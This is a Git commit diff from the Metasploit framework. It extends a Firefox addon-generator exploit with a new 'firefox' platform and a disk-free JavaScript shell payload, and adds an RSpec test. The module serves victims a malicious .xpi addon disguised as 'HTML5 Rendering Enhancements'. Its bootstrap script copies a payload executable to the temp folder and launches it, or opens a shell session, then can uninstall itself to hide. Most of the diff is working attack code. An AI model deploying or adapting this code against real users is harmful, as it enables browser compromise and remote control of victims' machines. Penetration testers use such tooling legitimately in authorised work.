Add firefox platform, architecture, and payload.
* Enables chrome privilege exploits in firefox to run a javascript cmd shell session without touching the disk. * Adds a spec for the addon_generator.
This commit is contained in:
parent
d291cd92d7
commit
694cb11025
|
@ -10,63 +10,76 @@
|
|||
module Msf
|
||||
module Exploit::Remote::FirefoxAddonGenerator
|
||||
|
||||
# for calling #generate_payload_exe
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
# Add in the supported datastore options
|
||||
def initialize( info = {} )
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Platform' => %w{ java linux osx solaris win },
|
||||
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Generic (Java Payload)',
|
||||
[ 'Universal (Javascript XPCOM Shell)',
|
||||
{
|
||||
'Platform' => ['java'],
|
||||
'Platform' => 'firefox',
|
||||
'Arch' => 'firefox'
|
||||
}
|
||||
],
|
||||
[ 'Java Payload',
|
||||
{
|
||||
'Platform' => 'java',
|
||||
'Arch' => ARCH_JAVA
|
||||
}
|
||||
],
|
||||
[ 'Windows x86 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Arch' => ARCH_X86
|
||||
}
|
||||
],
|
||||
[ 'Linux x86 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
'Arch' => ARCH_X86
|
||||
}
|
||||
],
|
||||
[ 'Mac OS X PPC (Native Payload)',
|
||||
{
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_PPC,
|
||||
'Arch' => ARCH_PPC
|
||||
}
|
||||
],
|
||||
[ 'Mac OS X x86 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86,
|
||||
'Arch' => ARCH_X86
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 1
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options( [
|
||||
OptString.new('ADDONNAME', [ true,
|
||||
"The addon name.",
|
||||
"HTML5 Rendering Enhancements"
|
||||
]),
|
||||
register_options([
|
||||
OptString.new('ADDONNAME', [ true, "The addon name.", "HTML5 Rendering Enhancements" ]),
|
||||
OptBool.new('AutoUninstall', [ true,
|
||||
"Automatically uninstall the addon after payload execution",
|
||||
true
|
||||
])
|
||||
])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
# @return [Rex::Zip::Archive] containing a .xpi, ready to be served with the
|
||||
# 'application/x-xpinstall' MIME type
|
||||
def generate_addon_xpi
|
||||
if target.name == 'Generic (Java Payload)'
|
||||
# @return nil if payload fails to generate
|
||||
def generate_addon_xpi(cli)
|
||||
if target.name =~ /Javascript/
|
||||
payload_file = nil
|
||||
payload_name = Rex::Text.rand_text_alphanumeric(8) + '.exe'
|
||||
payload_script = regenerate_payload(cli).encoded
|
||||
elsif target.name =~ /Java /
|
||||
p = regenerate_payload(cli)
|
||||
return nil if p.nil?
|
||||
jar = p.encoded_jar
|
||||
jar.build_manifest(:main_class => "metasploit.Payload")
|
||||
payload_file = jar.pack
|
||||
|
@ -80,6 +93,7 @@ module Exploit::Remote::FirefoxAddonGenerator
|
|||
|
|
||||
else
|
||||
payload_file = generate_payload_exe
|
||||
return nil if payload_file.nil?
|
||||
payload_name = Rex::Text.rand_text_alphanumeric(8) + '.exe'
|
||||
payload_script=%q|
|
||||
var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
|
||||
|
@ -98,26 +112,30 @@ module Exploit::Remote::FirefoxAddonGenerator
|
|||
end
|
||||
|
||||
zip = Rex::Zip::Archive.new
|
||||
bootstrap_script = 'function startup(data, reason) {'
|
||||
xpi_guid = Rex::Text.rand_guid
|
||||
bootstrap_script = %q|
|
||||
function startup(data, reason) {
|
||||
var file = Components.classes["@mozilla.org/file/directory_service;1"].
|
||||
getService(Components.interfaces.nsIProperties).
|
||||
get("ProfD", Components.interfaces.nsIFile);
|
||||
file.append("extensions");
|
||||
|
|
||||
bootstrap_script << %Q|xpi_guid="#{xpi_guid}";|
|
||||
bootstrap_script << %Q|payload_name="#{payload_name}";|
|
||||
bootstrap_script << %q|
|
||||
file.append(xpi_guid);
|
||||
file.append(payload_name);
|
||||
var tmp = Components.classes["@mozilla.org/file/directory_service;1"].
|
||||
getService(Components.interfaces.nsIProperties).
|
||||
get("TmpD", Components.interfaces.nsIFile);
|
||||
tmp.append(payload_name);
|
||||
tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666);
|
||||
file.copyTo(tmp.parent, tmp.leafName);
|
||||
|
|
||||
|
||||
if target.name !~ /Javascript/
|
||||
bootstrap_script << %q|
|
||||
var file = Components.classes["@mozilla.org/file/directory_service;1"].
|
||||
getService(Components.interfaces.nsIProperties).
|
||||
get("ProfD", Components.interfaces.nsIFile);
|
||||
file.append("extensions");
|
||||
|
|
||||
bootstrap_script << %Q|xpi_guid="#{xpi_guid}";|
|
||||
bootstrap_script << %Q|payload_name="#{payload_name}";|
|
||||
bootstrap_script << %q|
|
||||
file.append(xpi_guid);
|
||||
file.append(payload_name);
|
||||
var tmp = Components.classes["@mozilla.org/file/directory_service;1"].
|
||||
getService(Components.interfaces.nsIProperties).
|
||||
get("TmpD", Components.interfaces.nsIFile);
|
||||
tmp.append(payload_name);
|
||||
tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666);
|
||||
file.copyTo(tmp.parent, tmp.leafName);
|
||||
|
|
||||
end
|
||||
|
||||
bootstrap_script << payload_script
|
||||
|
||||
if (datastore['AutoUninstall'])
|
||||
|
@ -137,7 +155,7 @@ function startup(data, reason) {
|
|||
bootstrap_script << "}"
|
||||
|
||||
zip.add_file('bootstrap.js', bootstrap_script)
|
||||
zip.add_file(payload_name, payload_file)
|
||||
zip.add_file(payload_name, payload_file) unless payload_file.nil?
|
||||
zip.add_file('chrome.manifest', "content\t#{xpi_guid}\t./\noverlay\tchrome://browser/content/browser.xul\tchrome://#{xpi_guid}/content/overlay.xul\n")
|
||||
zip.add_file('install.rdf', %Q|<?xml version="1.0"?>
|
||||
<RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#">
|
||||
|
|
|
@ -516,4 +516,12 @@ class Msf::Module::Platform
|
|||
Rank = 100
|
||||
Alias = "nodejs"
|
||||
end
|
||||
|
||||
#
|
||||
# Node.js
|
||||
#
|
||||
class Firefox < Msf::Module::Platform
|
||||
Rank = 100
|
||||
Alias = "firefox"
|
||||
end
|
||||
end
|
||||
|
|
|
@ -64,29 +64,30 @@ LEV_3 = 3
|
|||
#
|
||||
# Architecture constants
|
||||
#
|
||||
ARCH_ANY = '_any_'
|
||||
ARCH_X86 = 'x86'
|
||||
ARCH_X86_64 = 'x86_64'
|
||||
ARCH_X64 = 'x64' # To be used for compatability with ARCH_X86_64
|
||||
ARCH_MIPS = 'mips'
|
||||
ARCH_MIPSLE = 'mipsle'
|
||||
ARCH_MIPSBE = 'mipsbe'
|
||||
ARCH_PPC = 'ppc'
|
||||
ARCH_PPC64 = 'ppc64'
|
||||
ARCH_CBEA = 'cbea'
|
||||
ARCH_CBEA64 = 'cbea64'
|
||||
ARCH_SPARC = 'sparc'
|
||||
ARCH_CMD = 'cmd'
|
||||
ARCH_PHP = 'php'
|
||||
ARCH_TTY = 'tty'
|
||||
ARCH_ARMLE = 'armle'
|
||||
ARCH_ARMBE = 'armbe'
|
||||
ARCH_JAVA = 'java'
|
||||
ARCH_RUBY = 'ruby'
|
||||
ARCH_DALVIK = 'dalvik'
|
||||
ARCH_PYTHON = 'python'
|
||||
ARCH_NODEJS = 'nodejs'
|
||||
ARCH_TYPES =
|
||||
ARCH_ANY = '_any_'
|
||||
ARCH_X86 = 'x86'
|
||||
ARCH_X86_64 = 'x86_64'
|
||||
ARCH_X64 = 'x64' # To be used for compatability with ARCH_X86_64
|
||||
ARCH_MIPS = 'mips'
|
||||
ARCH_MIPSLE = 'mipsle'
|
||||
ARCH_MIPSBE = 'mipsbe'
|
||||
ARCH_PPC = 'ppc'
|
||||
ARCH_PPC64 = 'ppc64'
|
||||
ARCH_CBEA = 'cbea'
|
||||
ARCH_CBEA64 = 'cbea64'
|
||||
ARCH_SPARC = 'sparc'
|
||||
ARCH_CMD = 'cmd'
|
||||
ARCH_PHP = 'php'
|
||||
ARCH_TTY = 'tty'
|
||||
ARCH_ARMLE = 'armle'
|
||||
ARCH_ARMBE = 'armbe'
|
||||
ARCH_JAVA = 'java'
|
||||
ARCH_RUBY = 'ruby'
|
||||
ARCH_DALVIK = 'dalvik'
|
||||
ARCH_PYTHON = 'python'
|
||||
ARCH_NODEJS = 'nodejs'
|
||||
ARCH_FIREFOX = 'firefox'
|
||||
ARCH_TYPES =
|
||||
[
|
||||
ARCH_X86,
|
||||
ARCH_X86_64,
|
||||
|
@ -107,7 +108,8 @@ ARCH_TYPES =
|
|||
ARCH_RUBY,
|
||||
ARCH_DALVIK,
|
||||
ARCH_PYTHON,
|
||||
ARCH_NODEJS
|
||||
ARCH_NODEJS,
|
||||
ARCH_FIREFOX
|
||||
]
|
||||
|
||||
ARCH_ALL = ARCH_TYPES
|
||||
|
|
|
@ -11,7 +11,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::Remote::FirefoxAddonGenerator
|
||||
|
||||
def initialize( info = {} )
|
||||
|
@ -20,7 +19,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Description' => %q{
|
||||
This exploit dynamically creates a .xpi addon file.
|
||||
The resulting bootstrapped Firefox addon is presented to
|
||||
the victim via a web page with. The victim's Firefox browser
|
||||
the victim via a web page. The victim's Firefox browser
|
||||
will pop a dialog asking if they trust the addon.
|
||||
|
||||
Once the user clicks "install", the addon is installed and
|
||||
|
@ -31,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
uninstall the addon once the payload has been executed.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'mihi' ],
|
||||
'Author' => [ 'mihi', 'joev' ],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://developer.mozilla.org/en/Extensions/Bootstrapped_extensions' ],
|
||||
|
@ -41,33 +40,30 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
))
|
||||
end
|
||||
|
||||
def on_request_uri( cli, request )
|
||||
if not request.uri.match(/\.xpi$/i)
|
||||
if not request.uri.match(/\/$/)
|
||||
send_redirect( cli, get_resource() + '/', '')
|
||||
return
|
||||
def on_request_uri(cli, request)
|
||||
if request.uri.match(/\.xpi$/i)
|
||||
# browser has navigated to the .xpi file
|
||||
print_status("Sending xpi and waiting for user to click 'accept'...")
|
||||
if not xpi = generate_addon_xpi(cli)
|
||||
print_error("Failed to generate the payload.")
|
||||
send_not_found(cli)
|
||||
else
|
||||
send_response(cli, xpi.pack, { 'Content-Type' => 'application/x-xpinstall' })
|
||||
end
|
||||
else
|
||||
# initial browser request
|
||||
# force the user to access a directory-like URL
|
||||
if not request.uri.match(/\/$/)
|
||||
print_status("Redirecting request." )
|
||||
send_redirect(cli, "#{get_resource}/")
|
||||
else
|
||||
# user has navigated
|
||||
print_status("Sending response HTML." )
|
||||
send_response_html(cli, generate_html)
|
||||
end
|
||||
|
||||
print_status("Handling request..." )
|
||||
|
||||
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
|
||||
return
|
||||
end
|
||||
|
||||
# If we haven't returned yet, then this is a request for our xpi,
|
||||
# so build one
|
||||
p = regenerate_payload(cli)
|
||||
if not p
|
||||
print_error("Failed to generate the payload.")
|
||||
# Send them a 404 so the browser doesn't hang waiting for data
|
||||
# that will never come.
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Sending xpi and waiting for user to click 'accept'...")
|
||||
send_response( cli, generate_addon_xpi.pack, { 'Content-Type' => 'application/x-xpinstall' } )
|
||||
handler( cli )
|
||||
handler(cli)
|
||||
end
|
||||
|
||||
def generate_html
|
||||
|
|
|
@ -0,0 +1,38 @@
|
|||
require 'spec_helper'
|
||||
require 'msf/core'
|
||||
|
||||
describe Msf::Exploit::Remote::FirefoxAddonGenerator do
|
||||
let(:datastore) { { 'TARGET' => 0 } }
|
||||
let(:jar) {
|
||||
j = double(:pack => '@JAR@')
|
||||
j.stub(:build_manifest)
|
||||
j
|
||||
}
|
||||
let(:payload) { double(:encoded => '@EXE@', :encoded_jar => jar) }
|
||||
let(:framework) { double(:nops => nil) }
|
||||
let(:cli) { double }
|
||||
|
||||
subject(:mod) do
|
||||
mod = Msf::Exploit::Remote.allocate
|
||||
mod.extend described_class
|
||||
mod.extend Msf::Exploit::Remote::BrowserExploitServer
|
||||
mod.send(:initialize, {})
|
||||
mod.stub(
|
||||
:payload => payload,
|
||||
:regenerate_payload => payload,
|
||||
:framework => framework,
|
||||
:datastore => datastore
|
||||
)
|
||||
mod
|
||||
end
|
||||
|
||||
describe '#generate_addon_xpi' do
|
||||
let(:xpi) { mod.generate_addon_xpi(cli) }
|
||||
|
||||
it { should respond_to :generate_addon_xpi }
|
||||
|
||||
it 'should return an instance of Rex::Zip::Archive' do
|
||||
xpi.should be_kind_of Rex::Zip::Archive
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue